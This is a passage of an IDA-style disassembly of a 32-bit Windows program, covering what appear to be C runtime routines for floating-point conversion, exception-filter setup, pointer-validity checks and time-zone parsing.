sub_41FEF9+8Aj retn sub_41FEF9 endp ; =============== S U B R O U T I N E ======================================= sub_41FF8B proc near ; CODE XREF: sub_41FEAE+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_41FF9B push 1 pop eax loc_41FF9B: ; CODE XREF: sub_41FF8B+Bj test bl, 8 jz short loc_41FFA2 or al, 4 loc_41FFA2: ; CODE XREF: sub_41FF8B+13j test bl, 4 jz short loc_41FFA9 or al, 8 loc_41FFA9: ; CODE XREF: sub_41FF8B+1Aj test bl, 2 jz short loc_41FFB0 or al, 10h loc_41FFB0: ; CODE XREF: sub_41FF8B+21j test bl, 1 jz short loc_41FFB7 or al, 20h loc_41FFB7: ; CODE XREF: sub_41FF8B+28j test ebx, 80000h jz short loc_41FFC1 or al, 2 loc_41FFC1: ; CODE XREF: sub_41FF8B+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_41FFEE cmp ecx, 100h jz short loc_41FFEB cmp ecx, esi jz short loc_41FFE6 cmp ecx, edx jnz short loc_41FFEE or ah, 0Ch jmp short loc_41FFEE ; --------------------------------------------------------------------------- loc_41FFE6: ; CODE XREF: sub_41FF8B+50j or ah, 8 jmp short loc_41FFEE ; --------------------------------------------------------------------------- loc_41FFEB: ; CODE XREF: sub_41FF8B+4Cj or ah, 4 loc_41FFEE: ; CODE XREF: sub_41FF8B+44j ; sub_41FF8B+54j ... mov ecx, ebx and ecx, 30000h jz short loc_420004 cmp ecx, 10000h jnz short loc_420006 or eax, esi jmp short loc_420006 ; --------------------------------------------------------------------------- loc_420004: ; CODE XREF: sub_41FF8B+6Bj or eax, edx loc_420006: ; CODE XREF: sub_41FF8B+73j ; sub_41FF8B+77j pop esi test ebx, 40000h pop ebx jz short locret_420013 or ah, 10h locret_420013: ; CODE XREF: sub_41FF8B+83j retn sub_41FF8B endp ; =============== S U B R O U T I N E ======================================= sub_420014 proc near ; CODE XREF: sub_4200B3+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_420059 inc esi cmp esi, 3 jge short loc_420054 lea eax, [eax+esi*4] loc_420046: ; CODE XREF: sub_420014+3Ej cmp dword ptr [eax], 0 jnz short loc_420059 inc esi add eax, 4 cmp esi, 3 jl short loc_420046 loc_420054: ; CODE XREF: sub_420014+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_420059: ; CODE XREF: sub_420014+27j ; sub_420014+35j xor eax, eax pop esi retn sub_420014 endp ; =============== S U B R O U T I N E ======================================= sub_42005D proc near ; CODE XREF: sub_4200B3+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_421067 add esp, 0Ch dec esi js short loc_4200AF lea edi, [ebx+esi*4] loc_420096: ; CODE XREF: sub_42005D+50j test eax, eax jz short loc_4200AF push edi push 1 push dword ptr [edi] call sub_421067 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_420096 loc_4200AF: ; CODE XREF: sub_42005D+34j ; sub_42005D+3Bj pop edi pop esi pop ebx retn sub_42005D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4200B3 proc near ; CODE XREF: sub_42020E+81p ; sub_42020E+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_420117 inc ebx push ebx push [ebp+arg_0] call sub_420014 pop ecx test eax, eax pop ecx jnz short loc_420114 push edi push [ebp+arg_0] call sub_42005D pop ecx mov [ebp+var_4], eax pop ecx loc_420114: ; CODE XREF: sub_4200B3+51j mov eax, [ebp+arg_4] loc_420117: ; CODE XREF: sub_4200B3+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_420137 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_420137: ; CODE XREF: sub_4200B3+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_4200B3 endp ; =============== S U B R O U T I N E ======================================= sub_42013F proc near ; CODE XREF: sub_42020E+75p ; sub_42020E+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_42014D: ; CODE XREF: sub_42013F+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_42014D pop esi retn sub_42013F endp ; =============== S U B R O U T I N E ======================================= sub_42015A proc near ; CODE XREF: sub_42020E+5Fp ; sub_42020E+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_42015A endp ; =============== S U B R O U T I N E ======================================= sub_420166 proc near ; CODE XREF: sub_42020E+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_42016C: ; CODE XREF: sub_420166+12j cmp dword ptr [eax], 0 jnz short loc_42017E inc ecx add eax, 4 cmp ecx, 3 jl short loc_42016C push 1 pop eax retn ; --------------------------------------------------------------------------- loc_42017E: ; CODE XREF: sub_420166+9j xor eax, eax retn sub_420166 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420181 proc near ; CODE XREF: sub_42020E+C0p ; sub_42020E+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_4201B7: ; CODE XREF: sub_420181+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_4201B7 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_4201E9: ; CODE XREF: sub_420181+86j cmp ebx, edi jl short loc_4201FC mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_420203 ; --------------------------------------------------------------------------- loc_4201FC: ; CODE XREF: sub_420181+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_420203: ; CODE XREF: sub_420181+79j dec ebx sub ecx, 4 jns short loc_4201E9 pop edi pop esi pop ebx leave retn sub_420181 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42020E proc near ; CODE XREF: sub_42037A+Dp ; sub_420390+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_42027B lea eax, [ebp+var_C] xor esi, esi push eax call sub_420166 test eax, eax pop ecx jnz loc_42033A lea eax, [ebp+var_C] push eax call sub_42015A pop ecx loc_420273: ; CODE XREF: sub_42020E+E4j push 2 loc_420275: ; CODE XREF: sub_42020E+110j pop eax jmp loc_42033C ; --------------------------------------------------------------------------- loc_42027B: ; CODE XREF: sub_42020E+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_42013F push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_4200B3 add esp, 10h test eax, eax jz short loc_42029C inc ebx loc_42029C: ; CODE XREF: sub_42020E+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_4202B4 lea eax, [ebp+var_C] push eax call sub_42015A pop ecx jmp short loc_4202F0 ; --------------------------------------------------------------------------- loc_4202B4: ; CODE XREF: sub_42020E+98j cmp ebx, eax jg short loc_4202F7 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_42013F lea eax, [ebp+var_C] push esi push eax call sub_420181 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_4200B3 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_420181 add esp, 20h loc_4202F0: ; CODE XREF: sub_42020E+A4j xor esi, esi jmp loc_420273 ; --------------------------------------------------------------------------- loc_4202F7: ; CODE XREF: sub_42020E+A8j cmp ebx, [edi] jl short loc_420323 lea eax, [ebp+var_C] push eax call sub_42015A push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_420181 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_420275 ; --------------------------------------------------------------------------- loc_420323: ; CODE XREF: sub_42020E+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_420181 pop ecx pop ecx loc_42033A: ; CODE XREF: sub_42020E+55j xor eax, eax loc_42033C: ; CODE XREF: sub_42020E+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_42036B mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_420375 ; --------------------------------------------------------------------------- loc_42036B: ; CODE XREF: sub_42020E+14Ej cmp edi, 20h jnz short loc_420375 mov ecx, [ebp+arg_4] mov [ecx], esi loc_420375: ; CODE XREF: sub_42020E+15Bj ; sub_42020E+160j pop edi pop esi pop ebx leave retn sub_42020E endp ; =============== S U B R O U T I N E ======================================= sub_42037A proc near ; CODE XREF: sub_4203A6+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43B420 push [esp+4+arg_4] push [esp+8+arg_0] call sub_42020E add esp, 0Ch retn sub_42037A endp ; =============== S U B R O U T I N E ======================================= sub_420390 proc near ; CODE XREF: sub_4203D3+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43B438 push [esp+4+arg_4] push [esp+8+arg_0] call sub_42020E add esp, 0Ch retn sub_420390 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4203A6 proc near ; CODE XREF: sub_41C62F+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_421208 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_42037A add esp, 24h leave retn sub_4203A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4203D3 proc near ; CODE XREF: sub_41C62F+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_421208 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_420390 add esp, 24h leave retn sub_4203D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420400 proc near ; CODE XREF: sub_41C66D+65p ; sub_41C771+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_42043D mov [ebp+arg_0], ebx xor ebx, ebx loc_420423: ; CODE XREF: sub_420400+38j mov dl, [ecx] test dl, dl jz short loc_42042F movsx edx, dl inc ecx jmp short loc_420432 ; --------------------------------------------------------------------------- loc_42042F: ; CODE XREF: sub_420400+27j push 30h pop edx loc_420432: ; CODE XREF: sub_420400+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_420423 mov edx, [ebp+arg_8] loc_42043D: ; CODE XREF: sub_420400+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_420456 cmp byte ptr [ecx], 35h jl short loc_420456 loc_420449: ; CODE XREF: sub_420400+52j dec eax cmp byte ptr [eax], 39h jnz short loc_420454 mov byte ptr [eax], 30h jmp short loc_420449 ; --------------------------------------------------------------------------- loc_420454: ; CODE XREF: sub_420400+4Dj inc byte ptr [eax] loc_420456: ; CODE XREF: sub_420400+42j ; sub_420400+47j cmp byte ptr [esi], 31h jnz short loc_420460 inc dword ptr [edx+4] jmp short loc_420472 ; --------------------------------------------------------------------------- loc_420460: ; CODE XREF: sub_420400+59j push edi call sub_4177B0 inc eax push eax push edi push esi call sub_417FC0 add esp, 10h loc_420472: ; CODE XREF: sub_420400+5Ej pop edi pop esi pop ebx pop ebp retn sub_420400 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420477 proc near ; CODE XREF: sub_41C66D+3Fp ; sub_41C771+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_4204DB pop ecx lea esi, [ebp+var_C] pop ecx push offset word_489680 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_4216D9 mov dword_4896A8, eax add esp, 18h movsx eax, byte_489682 mov dword_4896A0, eax pop edi movsx eax, word_489680 mov dword_4896A4, eax mov dword_4896AC, offset dword_489684 mov eax, offset dword_4896A0 pop esi leave retn sub_420477 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4204DB proc near ; CODE XREF: sub_420477+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_420529 cmp ebx, edi jz short loc_420522 lea edi, [ecx+3C00h] jmp short loc_42054A ; --------------------------------------------------------------------------- loc_420522: ; CODE XREF: sub_4204DB+3Dj mov edi, 7FFFh jmp short loc_42054A ; --------------------------------------------------------------------------- loc_420529: ; CODE XREF: sub_4204DB+39j xor ebx, ebx cmp eax, ebx jnz short loc_420541 cmp edx, ebx jnz short loc_420541 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_42058C ; --------------------------------------------------------------------------- loc_420541: ; CODE XREF: sub_4204DB+52j ; sub_4204DB+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_42054A: ; CODE XREF: sub_4204DB+45j ; sub_4204DB+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_420562: ; CODE XREF: sub_4204DB+A6j test ecx, esi jnz short loc_420583 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_420562 ; --------------------------------------------------------------------------- loc_420583: ; CODE XREF: sub_4204DB+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_42058C: ; CODE XREF: sub_4204DB+64j pop edi pop esi pop ebx leave retn sub_4204DB endp ; --------------------------------------------------------------------------- push 2 call sub_4199DA pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_42059A proc near ; DATA XREF: sub_4205E0o ; .data:0043ADF8o ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_4205BD cmp dword ptr [eax+10h], 3 jnz short loc_4205BD cmp dword ptr [eax+14h], 19930520h jnz short loc_4205BD jmp sub_41D1FC ; --------------------------------------------------------------------------- loc_4205BD: ; CODE XREF: sub_42059A+Dj ; sub_42059A+13j ... mov eax, dword_4896B0 test eax, eax jz short loc_4205DA push eax call sub_420636 test eax, eax pop ecx jz short loc_4205DA push esi call dword_4896B0 jmp short loc_4205DC ; --------------------------------------------------------------------------- loc_4205DA: ; CODE XREF: sub_42059A+2Aj ; sub_42059A+35j xor eax, eax loc_4205DC: ; CODE XREF: sub_42059A+3Ej pop esi retn 4 sub_42059A endp ; =============== S U B R O U T I N E ======================================= sub_4205E0 proc near ; DATA XREF: .data:00425024o push offset sub_42059A call dword_42301C ; SetUnhandledExceptionFilter mov dword_4896B0, eax retn sub_4205E0 endp ; =============== S U B R O U T I N E ======================================= sub_4205F1 proc near ; DATA XREF: .data:0042503Co push dword_4896B0 call dword_42301C ; SetUnhandledExceptionFilter retn sub_4205F1 endp ; =============== S U B R O U T I N E ======================================= sub_4205FE proc near ; CODE XREF: sub_41CA45+6Bp ; sub_41CF56+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call dword_423018 ; IsBadReadPtr test eax, eax jz short loc_420616 xor esi, esi loc_420616: ; CODE XREF: sub_4205FE+14j mov eax, esi pop esi retn sub_4205FE endp ; =============== S U B R O U T I N E ======================================= sub_42061A proc near ; CODE XREF: sub_41CF56+73p ; sub_41CF56+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call dword_4231B8 ; IsBadWritePtr test eax, eax jz short loc_420632 xor esi, esi loc_420632: ; CODE XREF: sub_42061A+14j mov eax, esi pop esi retn sub_42061A endp ; =============== S U B R O U T I N E ======================================= sub_420636 proc near ; CODE XREF: sub_41CF56+15Bp ; sub_42059A+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] call dword_423014 ; IsBadCodePtr test eax, eax jz short loc_42064A xor esi, esi loc_42064A: ; CODE XREF: sub_420636+10j mov eax, esi pop esi retn sub_420636 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D1FC loc_42064E: ; CODE XREF: sub_41D1FC:loc_41D24Dj push 0Ah call sub_41F5B1 push 16h call sub_42196C pop ecx pop ecx push 3 call sub_4197F6 ; END OF FUNCTION CHUNK FOR sub_41D1FC ; =============== S U B R O U T I N E ======================================= sub_420665 proc near ; CODE XREF: sub_41D309:loc_41D348p cmp dword_489770, 0 jnz short locret_420679 call sub_42067A inc dword_489770 locret_420679: ; CODE XREF: sub_420665+7j retn sub_420665 endp ; =============== S U B R O U T I N E ======================================= sub_42067A proc near ; CODE XREF: sub_420665+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_4896B8, ebp mov dword_43B4F8, ebx mov dword_43B4E8, ebx call sub_421ADE mov esi, eax pop ecx cmp esi, ebp jnz loc_4207A3 push offset dword_4896C0 call dword_42318C ; GetTimeZoneInformation cmp eax, ebx jz loc_4208D2 mov eax, dword_4896C0 mov ecx, dword_489714 imul eax, 3Ch cmp word_489706, bp push 1 pop edx mov dword_43B450, eax mov dword_4896B8, edx jz short loc_4206F1 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_43B450, eax loc_4206F1: ; CODE XREF: sub_42067A+69j cmp word_48975A, bp jz short loc_420715 mov eax, dword_489768 cmp eax, ebp jz short loc_420715 sub eax, ecx mov dword_43B454, edx imul eax, 3Ch mov dword_43B458, eax jmp short loc_420721 ; --------------------------------------------------------------------------- loc_420715: ; CODE XREF: sub_42067A+7Ej ; sub_42067A+87j mov dword_43B454, ebp mov dword_43B458, ebp loc_420721: ; CODE XREF: sub_42067A+99j lea eax, [esp+14h+var_4] mov esi, dword_423150 push eax push ebp push 3Fh mov edi, 220h push off_43B4DC push ebx push offset dword_4896C4 push edi push dword_489550 call esi ; WideCharToMultiByte test eax, eax jz short loc_42075E cmp [esp+14h+var_4], ebp jnz short loc_42075E mov eax, off_43B4DC and byte ptr [eax+3Fh], 0 jmp short loc_420766 ; --------------------------------------------------------------------------- loc_42075E: ; CODE XREF: sub_42067A+D1j ; sub_42067A+D7j mov eax, off_43B4DC and byte ptr [eax], 0 loc_420766: ; CODE XREF: sub_42067A+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_43B4E0 push ebx push offset dword_489718 push edi push dword_489550 call esi ; WideCharToMultiByte test eax, eax jz loc_4208CA cmp [esp+14h+var_4], ebp jnz loc_4208CA mov eax, off_43B4E0 and byte ptr [eax+3Fh], 0 jmp loc_4208D2 ; --------------------------------------------------------------------------- loc_4207A3: ; CODE XREF: sub_42067A+2Dj cmp byte ptr [esi], 0 jz loc_4208D2 mov eax, dword_48976C cmp eax, ebp jz short loc_4207C6 push eax push esi call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4208D2 loc_4207C6: ; CODE XREF: sub_42067A+139j push dword_48976C call sub_41793B push esi call sub_4177B0 inc eax push eax call sub_417889 add esp, 0Ch cmp eax, ebp mov dword_48976C, eax jz loc_4208D2 push esi push eax call sub_4176C0 push 3 push esi push off_43B4DC call sub_418910 mov eax, off_43B4DC add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_42081B push 1 inc esi pop edi loc_42081B: ; CODE XREF: sub_42067A+19Bj push esi call sub_417494 pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_43B450, ecx loc_420832: ; CODE XREF: sub_42067A+1C7j mov al, [esi] cmp al, 2Bh jz short loc_420840 cmp al, bl jl short loc_420843 cmp al, 39h jg short loc_420843 loc_420840: ; CODE XREF: sub_42067A+1BCj inc esi jmp short loc_420832 ; --------------------------------------------------------------------------- loc_420843: ; CODE XREF: sub_42067A+1C0j ; sub_42067A+1C4j cmp byte ptr [esi], 3Ah jnz short loc_420896 inc esi push esi call sub_417494 imul eax, 3Ch pop ecx mov ecx, dword_43B450 add ecx, eax mov dword_43B450, ecx loc_420861: ; CODE XREF: sub_42067A+1F2j mov al, [esi] cmp al, bl jl short loc_42086E cmp al, 39h jg short loc_42086E inc esi jmp short loc_420861 ; --------------------------------------------------------------------------- loc_42086E: ; CODE XREF: sub_42067A+1EBj ; sub_42067A+1EFj cmp byte ptr [esi], 3Ah jnz short loc_420896 inc esi push esi call sub_417494 pop ecx mov ecx, dword_43B450 add ecx, eax mov dword_43B450, ecx loc_420889: ; CODE XREF: sub_42067A+21Aj mov al, [esi] cmp al, bl jl short loc_420896 cmp al, 39h jg short loc_420896 inc esi jmp short loc_420889 ; --------------------------------------------------------------------------- loc_420896: ; CODE XREF: sub_42067A+1CCj ; sub_42067A+1F7j ... cmp edi, ebp jz short loc_4208A2 neg ecx mov dword_43B450, ecx loc_4208A2: ; CODE XREF: sub_42067A+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_43B454, eax jz short loc_4208CA push 3 push esi push off_43B4E0 call sub_418910 mov eax, off_43B4E0 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_4208D2 ; --------------------------------------------------------------------------- loc_4208CA: ; CODE XREF: sub_42067A+10Bj ; sub_42067A+115j ... mov eax, off_43B4E0 and byte ptr [eax], 0 loc_4208D2: ; CODE XREF: sub_42067A+40j ; sub_42067A+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_42067A endp ; =============== S U B R O U T I N E ======================================= sub_4208D8 proc near ; CODE XREF: sub_41D309+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_43B454, edi jnz short loc_4208EC loc_4208E5: ; CODE XREF: sub_4208D8+148j ; sub_4208D8+150j ... xor eax, eax jmp loc_420A38 ; --------------------------------------------------------------------------- loc_4208EC: ; CODE XREF: sub_4208D8+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_43B4E8 jnz short loc_42090A cmp eax, dword_43B4F8 jz loc_420A0C loc_42090A: ; CODE XREF: sub_4208D8+24j cmp dword_4896B8, edi jz loc_4209E2 movzx ecx, word_489766 push ecx cmp word_489758, di movzx ecx, word_489764 push ecx movzx ecx, word_489762 push ecx movzx ecx, word_489760 push ecx jnz short loc_42095C movzx ecx, word_48975C push edi push ecx movzx ecx, word_48975E push ecx movzx ecx, word_48975A push ecx push eax push ebx jmp short loc_420970 ; --------------------------------------------------------------------------- loc_42095C: ; CODE XREF: sub_4208D8+65j movzx ecx, word_48975E push ecx push edi movzx ecx, word_48975A push edi push ecx push eax push edi loc_420970: ; CODE XREF: sub_4208D8+82j push ebx call sub_420A84 movzx eax, word_489712 add esp, 2Ch cmp word_489704, di push eax movzx eax, word_489710 push eax movzx eax, word_48970E push eax movzx eax, word_48970C push eax jnz short loc_4209CA movzx eax, word_489708 push edi push eax movzx eax, word_48970A push eax movzx eax, word_489706 push eax push dword ptr [esi+14h] push ebx loc_4209BF: ; CODE XREF: sub_4208D8+108j push edi call sub_420A84 add esp, 2Ch jmp short loc_420A0C ; --------------------------------------------------------------------------- loc_4209CA: ; CODE XREF: sub_4208D8+C8j movzx eax, word_48970A push eax push edi movzx eax, word_489706 push edi push eax push dword ptr [esi+14h] push edi jmp short loc_4209BF ; --------------------------------------------------------------------------- loc_4209E2: ; CODE XREF: sub_4208D8+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_420A84 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_420A84 add esp, 58h loc_420A0C: ; CODE XREF: sub_4208D8+2Cj ; sub_4208D8+F0j mov edx, dword_43B4EC mov eax, dword_43B4FC mov ecx, [esi+1Ch] cmp edx, eax jge short loc_420A3C cmp ecx, edx jl loc_4208E5 cmp ecx, eax jg loc_4208E5 cmp ecx, edx jle short loc_420A50 cmp ecx, eax jge short loc_420A50 loc_420A36: ; CODE XREF: sub_4208D8+166j ; sub_4208D8+16Aj mov eax, ebx loc_420A38: ; CODE XREF: sub_4208D8+Fj ; sub_4208D8+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_420A3C: ; CODE XREF: sub_4208D8+144j cmp ecx, eax jl short loc_420A36 cmp ecx, edx jg short loc_420A36 cmp ecx, eax jle short loc_420A50 cmp ecx, edx jl loc_4208E5 loc_420A50: ; CODE XREF: sub_4208D8+158j ; sub_4208D8+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_420A77 xor ecx, ecx cmp eax, dword_43B4F0 setnl cl loc_420A73: ; CODE XREF: sub_4208D8+1AAj mov eax, ecx jmp short loc_420A38 ; --------------------------------------------------------------------------- loc_420A77: ; CODE XREF: sub_4208D8+18Ej xor ecx, ecx cmp eax, dword_43B500 setl cl jmp short loc_420A73 sub_4208D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420A84 proc near ; CODE XREF: sub_4208D8+99p ; sub_4208D8+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_420B1F mov eax, [ebp+arg_C] mov [ebp+arg_8], 